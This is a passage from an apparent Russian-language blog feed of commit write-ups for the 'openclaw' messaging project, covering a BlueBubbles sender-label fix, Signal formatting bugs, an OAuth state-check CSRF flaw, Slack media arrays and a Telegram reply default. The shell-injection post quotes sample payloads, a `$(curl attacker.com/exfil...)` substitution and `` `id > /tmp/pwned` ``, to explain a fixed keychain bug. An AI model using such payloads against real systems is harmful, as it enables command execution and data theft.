удаляется автоматически. Это спасает воспроизводимость, но затягивает диск. Пришлось вручную чистить кэши промежуточных версий. Итог: все 9 моделей работают, сервер отвечает за 50-100 мс, задержка сети больше не критична. Решение масштабируется — если понадобятся ещё модели, диск выдержит в 2-3 раза больше. Кстати, если когда-нибудь будешь настраивать сборщик (вроде Webpack), помни: это как первая любовь — никогда не забудешь, но возвращаться не стоит. 😄

#claude#ai#api#security
15 февр. 2026 г.
Исправлениеopenclaw

Когда группа видна, а отправитель — нет: история одного бага

# Когда group chat показывает группу, но скрывает отправителя Проект OpenClaw — это не новый стартап, это сложная экосистема для работы с разными мессенджерами. И вот в BlueBubbles, интеграции для синхронизации Apple Messages, обнаружилась тонкая проблема: когда кто-то писал в групповой чат, группа отображалась как группа, но вот кто именно написал сообщение — оставалось загадкой. Представь: на экране видишь «[BlueBubbles] Сообщение пришло в "Друзья на даче"», а автора — хоть ты тресни. Задача была чёткая: сделать, чтобы в групповых чатах группа показывалась нормально, но при этом было видно, кто именно написал. Звучит просто, но в голове разработчика крутилось одно: как это реализовано в других каналах? Потому что вбивать велосипед — верный путь к техдолгу. **Первым делом** достали функцию `formatInboundEnvelope` — она уже использовалась в iMessage и Signal. Оказалось, там логика уже готовая: группе выделяется свой вид в заголовке (envelope header), а имя отправителя добавляется в тело сообщения. Скопировать этот паттерн в BlueBubbles значило привести всё в соответствие с остальной системой. Но тут вылезла вторая проблема: после форматирования сообщения нужно его ещё и обработать правильно. Включили `finalizeInboundContext` — функцию, которая нормализует поля, выставляет правильный ChatType, подставляет ConversationLabel и выравнивает MediaType. То есть применили тот же подход, что в iMessage и Signal. **BodyForAgent** при этом переключили на сырой текст (rawBody) вместо обёрнутого в конверт — иначе агент будет работать с `[BlueBubbles ...] текст сообщения`, а не с чистым текстом. И вот неожиданность: нужно было выровнять `fromLabel` с функцией `formatInboundFromLabel`. Суть в том, что для групп нужно писать «GroupName id:peerId», для личных сообщений — «Name id:senderId» (если имя отличается от ID). Мелкая, казалось бы, деталь, но она делает систему консистентной: везде одинаковый формат. **Интересный факт**: когда разные каналы используют разные форматы одних и тех же данных, это тихий убийца debugging'а. Тестировщик смотрит на iMessage, видит одно, смотрит на BlueBubbles — видит другое. Казалось бы, одна функция, один формат, но нет — каждый канал решил, что сам знает лучше. Поэтому когда разработчик вспомнил о единообразии, это был момент, когда система стала *ровнее*. Результат: BlueBubbles теперь работает как остальные каналы. Групповые чаты показываются группой, отправители видны, ConversationLabel наконец начинает возвращать имя группы вместо undefined. И главное — это не кастомный костыль, а применение существующего паттерна из iMessage и Signal. Система стала более предсказуемой. Теперь, когда приходит сообщение в групповой чат BlueBubbles, всё отображается логично: видна группа, видно, кто пишет, агент получает чистый текст для обработки. Ничего особенного, просто хорошая инженерия. **Разработчик на собеседовании**: «Я умею выравнивать форматы данных между каналами». Интервьюер: «А конкретно?» Разработчик: «Ну, BeautifulSoup, regex и... молитвы к богу синхронизации». 😄

#git#commit#security
14 февр. 2026 г.
Исправлениеopenclaw

Когда shell выполняет то, чего ты не просил

# Когда shell не в курсе, что ты хочешь Представь ситуацию: ты разработчик в openclaw, работаешь над безопасностью сохранения учётных данных в macOS. Всё казалось простым — берём OAuth-токен от пользователя, кладём его в системный keychain через команду `security add-generic-password`. Дело 10 минут, правда? Но потом коллега задаёт вопрос, которого ты боялся: «А что, если токен содержит что-нибудь подозрительное?» ## История одного $() Задача была в проекте openclaw и относилась к критической — предотвращение shell injection. В коде использовался **execSync**, который вызывал команду `security` через интерпретатор оболочки. Разработчик защищал от экранирования одинарными кавычками, заменяя `'` на `'"'"'`. Типичный трюк, правда? Но вот беда: одинарные кавычки защищают от большинства вещей, но не от *всего*. Если пользователь присылает OAuth-токен вроде `$(curl attacker.com/exfil?data=...)` или использует обратные кавычки `` `id > /tmp/pwned` ``, shell обработает эту подстановку команд ещё *до* того, как начнёт интерпретировать кавычки. Command injection по классике — CWE-78, HIGH severity. Представь масштаб: любой человек с правом выбрать поддельного OAuth-провайдера может выполнить произвольную команду с правами пользователя, на котором запущен gateway. ## execFileSync вместо execSync Решение было гениально простым: не передавать команду через shell вообще. Вместо **execSync** с интерпретатором разработчик выбрал **execFileSync** — функция, которая запускает программу напрямую, минуя `/bin/sh`. Аргументы передаются массивом, а не строкой. Вместо: ``` execSync(`security add-generic-password -U -s "..." -a "..." -w '${токен}'`) ``` Теперь: ``` execFileSync("security", ["add-generic-password", "-U", "-s", SERVICE, "-a", ACCOUNT, "-w", tokenValue]) ``` Красота в том, что OS сама разбирает границы аргументов — никакого shell, никакого интерпретирования метасимволов, токен остаётся просто токеном. ## Маленький факт о системной безопасности Знаешь, в системах Unix уже *десятилетия* говорят: не используй shell для запуска программ, если не нужна shell. Но почему-то разработчики снова и снова создают уязвимости через `execSync` с конкатенацией строк. Это как баг-батарея, которая никогда не кончается. ## Итого Pull request #15924 закрыл уязвимость в момент, когда она была обнаружена. Проект openclaw получил более безопасный способ работы с учётными данными, и никакой `$(whoami)` в OAuth-токене больше не сломает систему. Разработчик выучил (или вспомнил) важный урок: функции типа **execFileSync**, **subprocess.run** с `shell=False` или Go's **os/exec** — это не просто удобство, это *основа* безопасности. Главное? Всегда думай о том, как интерпретируется твоя команда. Shell — могущественная штука, но она должна быть твоим последним выбором, когда нужна *подстановка*, а не просто запуск программы. 😄 Совет дня: если ты вставляешь пользовательские данные в shell-команду, то ты уже потерял игру — выбери другой API.

#git#commit#api#security
14 февр. 2026 г.
Исправлениеopenclaw

Когда markdown убивает formatting: история трёх багов в Signal

Представьте себе: сообщение прошло через markdown-парсер, выглядит идеально в превью, но при рендеринге в Signal вдруг... смещение стилей, невидимые горизонтальные линии, списки прыгают по экрану. Именно эту головоломку решала команда OpenClaw в коммите #9781. ## Три слоя проблем Первый слой — **markdown IR** (внутреннее представление). Оказалось, что парсер генерирует лишние переносы между элементами списков и следующими абзацами. Вложенные списки теряют отступы, блокавроты выпускают лишние символы новой строки. Хуже всего — горизонтальные линии вообще молча пропадали вместо того, чтобы отобразиться видимым разделителем `───`. Второй слой — **Signal formatting**. Здесь затаилась коварная ошибка с накопительным сдвигом. Когда в одном сообщении расширялось несколько ссылок, функция `applyInsertionsToStyles()` использовала *исходные* координаты для каждой вставки, забывая про смещение от предыдущих. Результат: жирный текст приземлялся в совершенно неправильное место, как если бы вы сдвинули закладку, но продолжили считать позицию от начала книги. Третий слой — **chunking** (разбиение текста). Старый код полагался на `indexOf`, что было хрупким и непредсказуемым. Нужно было переписать на детерминированное отслеживание позиции с уважением к границам слов, скобкам раскрытых ссылок и корректным смещениям стилей. ## Как это чинили Команда не просто закрыла баги — она переписала логику: - Markdown IR: добавили проверку всех случаев с пробелами, отступами, специальными символами. Теперь горизонтальные линии видны, списки выравнены, блокавроты дышат правильно. - Signal: внедрили *cumulative shift tracking* — отслеживание накопленного смещения при каждой вставке. Плюс переделали `splitSignalFormattedText()` так, чтобы он разбивал по пробелам и новым строкам, не ломал скобки, и корректно пересчитывал диапазоны стилей для каждого чанка. - Тесты: добавили **69 новых тестов** — 51 для markdown IR, 18 для Signal formatting. Это не просто покрытие, это *регрессионные подушки* на будущее. ## Факт о markdown Markdown IR — это промежуточный формат, который сидит между текстом и финальным рендером. Он как сценарий между сценаристом и режиссёром: правильно оформленный сценарий экономит часы на съёмках. Неправильный — и режиссер тратит дни на исправления. ## Итог Баг был системный: не один глюк, а целая цепочка проблем в разных слоях абстракции. Но вот что интересно — команда не прошлась по нему топором, а аккуратно разобрала каждый слой, понял каждую причину, переписала на правильную логику. Результат: сообщения теперь форматируются предсказуемо, стили не смещаются, текст разбивается умно. А коммит #9781 теперь живет в истории как пример того, как **системное мышление** побеждает импульсивные фиксы. P.S. Что сказал Claude при деплое этого коммита? «Не трогайте меня, я нестабилен» 😄

#git#commit#security
14 февр. 2026 г.
Исправлениеopenclaw

Как мы поймали CSRF-атаку в OAuth: история исправления OC-25

Вчера мне попался один из тех багов, которые одновременно просты и страшны. В проекте **openclaw** обнаружилась уязвимость в OAuth-потоке проекта **chutes** — и она была настолько хитрой, что я сначала не поверил собственным глазам. ## Завязка: криптография проиграла халатности Представьте: пользователь запускает `openclaw login chutes --manual`. Система генерирует криптографически стойкий state-параметр — случайные 16 байт в hex-формате. Это как выдать клиенту уникальный билет в кино и попросить вернуть его при входе. Стандартная защита от CSRF-атак. Но вот беда. Функция `parseOAuthCallbackInput()` получала этот callback от OAuth-провайдера и... просто забывала проверить, совпадает ли state в ответе с тем самым ожидаемым значением. **Был сгенерирован криптографический nonce, но никто его не проверял**. ## Развитие: когда код сам себя саботирует Вторая проблема оказалась ещё коварнее. Когда URL-парсинг падал (например, пользователь вводил код вручную), блок `catch` **сам генерировал matching state**, используя `expectedState`. Представьте парадокс: система ловит ошибку парсинга и тут же создаёт фальшивый state, чтобы проверка всегда прошла успешно. Атакующий мог просто перенаправить жертву на вредоносный URL с подобранным state-параметром, и система бы его приняла. Это как выдать билет, потом спросить у человека "где ваш билет?", он ответит "ну, вот такой", — и вы проверите его по памяти вместо того, чтобы сверить с оригиналом. ## Факт: почему это работало OAuth state-параметр — это классический способ защиты, описанный в RFC 6749. Его задача: гарантировать, что callback идёт именно от авторизованного провайдера, а не из MITM-атаки. Но защита работает только если код **действительно проверяет** state. Здесь же проверка была театром: система шла по сценарию, не глядя на сцену. ## Итог и урок Фикс в PR #16058 добавил то, что должно было быть с самого начала: **реальное сравнение** extracted state с expectedState. Теперь если они не совпадают, callback отклоняется. Catch-блок больше не fabricирует фальшивые значения. Это напомнило мне старую истину: криптография — это не когда ты знаешь алгоритм. Это когда ты его используешь. А ещё это напомнило мне поговорку: **prompt engineering** — единственная профессия, о которой не мечтал ни один ребёнок, но теперь все мечтают объяснить ей, почему их код не работает. 😄

#git#commit#api#security
14 февр. 2026 г.
Исправлениеopenclaw

Как Slack потерял свои картинки: история об индексах и массивах

В проекте **OpenClaw** обнаружилась хитрая проблема с обработкой многофайловых сообщений из Slack. Когда пользователь отправлял несколько изображений одновременно, система загружала только первое, остальные просто исчезали. Звучит как обычный баг, но под капотом скрывалась классическая история о рассинхронизации данных. Всё началось с функции `resolveSlackMedia()`. Она работала как конвейер: берёт сообщение, загружает файл, **возвращает результат и выходит**. Всё просто и понятно, пока не нужны вложения по одному. Но когда в сообщении несколько картинок — функция падала после первой, словно устав от работы. Беда была в том, что разработчики забыли основное правило: *не выходи раньше времени*. Решение пришло из соседних адаптеров. **Telegram**, **Line**, **Discord** и **iMessage** давно научились собирать все загруженные файлы в массив перед возвратом. Идея простая: не возвращай результат сразу, накапливай его, а потом отдай весь пакет целиком. Именно это и сделали разработчики — завернули все пути файлов, URL-адреса и типы в соответствующие массивы `MediaPaths`, `MediaUrls` и `MediaTypes`. Но тут начинались настоящие приключения. Когда внизу конвейера код пытался обработать медиа для анализа зрения (vision), подготовки sandbox или создания заметок, он ожидал, что три массива идеально синхронизированы по длине. Каждому файлу должен соответствовать его тип (`application/octet-stream` или более точный MIME). И вот тут обнаружилась вторая подвох: при фильтрации `filter(Boolean)` удалялись записи с пустыми типами, массив сжимался, индексы ломались. Файл номер два становился номером один, и система присваивала неправильный MIME-тип. **Финальный трюк** — заменить фильтр на простую подстановку: если тип не определён, используй универсальный `"application/octet-stream"`. Теперь массивы всегда совпадают по размеру, индексы совпадают, и каждый файл получает свой корректный тип, даже если система не смогла его определить с первого раза. Это хороший пример того, как *контракты между компонентами* (в данном случае — обещание "три массива одинаковой длины") могут молча ломаться, если их не охранять. Один неловкий `filter()` — и вся архитектура начинает пошатываться. --- **Факт о технологиях:** Slack API исторически одна из самых сложных в обработке медиа среди мессенджеров именно потому, что поддерживает множество форматов вложений одновременно. Это требует особой внимательности при синхронизации данных. --- 😄 *Почему Sentry не пришёл на вечеринку? Его заблокировал firewall.*

#git#commit#security
14 февр. 2026 г.
Исправлениеopenclaw

Когда "умное" поведение мешает пользователю

В проекте **openclaw** произошла интересная история. После обновления **2026.2.13** разработчики выпустили фичу с *неявной реплай-сортировкой* сообщений в Telegram. Идея была правильная: автоматически группировать ответы в цепочки, как это делают все современные мессенджеры. Вот только выяснилось: когда эта фича встретилась с дефолтной настройкой `replyToMode="first"`, произошла чудесная трансформация. Теперь **каждый** первый ответ бота в личных сообщениях отправляется как нативная Telegram-реплай с кавычкой исходного сообщения. Пользователь пишет: "Привет" — а бот ему отвечает огромным пузырём с цитатой. И "Привет" становится цельным произведением искусства. Смешно было бы, если бы не регрессия. До этого обновления реплай-сортировка работала менее надёжно, поэтому дефолт "first" редко порождал видимые кавычки в личных чатах. Теперь же — надёжность возросла, и дефолт превратился в тихий врага UX. Представьте: простой диалог, а то и шутка про отправку кода выглядит как формальный деловой документ с копией исходного письма. Команда поняла проблему и сделала логичный шаг: переключить дефолт с `"first"` на `"off"`. Просто. Эффективно. Вот и всё. **Важный момент**: те, кому *нужна* реплай-сортировка, могут включить её вручную через конфиг: ``` channels.telegram.replyToMode: "first" | "all" ``` Никто не лишён выбора — просто дефолт теперь не раздражает большинство. Тестирование было жёсткое: переключали режим на живой инстанции 2026.2.13, смотрели прямое влияние на поведение. С `"first"` — каждое сообщение цитируется. С `"off"` — чистые ответы. Ясно как день. Интересно, что **тесты** вообще не понадобилось менять. Почему? Потому что они всегда явно устанавливали нужное значение `replyToMode`, не полагаясь на магию дефолтов. Вот это дизайн. История преподаёт урок: иногда "умное поведение по умолчанию" — это просто источник боли. Лучше выбрать консервативный дефолт и дать пользователям инструменты для кастомизации. Чем отличается машинный код от бессмыслицы? Машинный код работает. 😄

#git#commit#api#security
14 февр. 2026 г.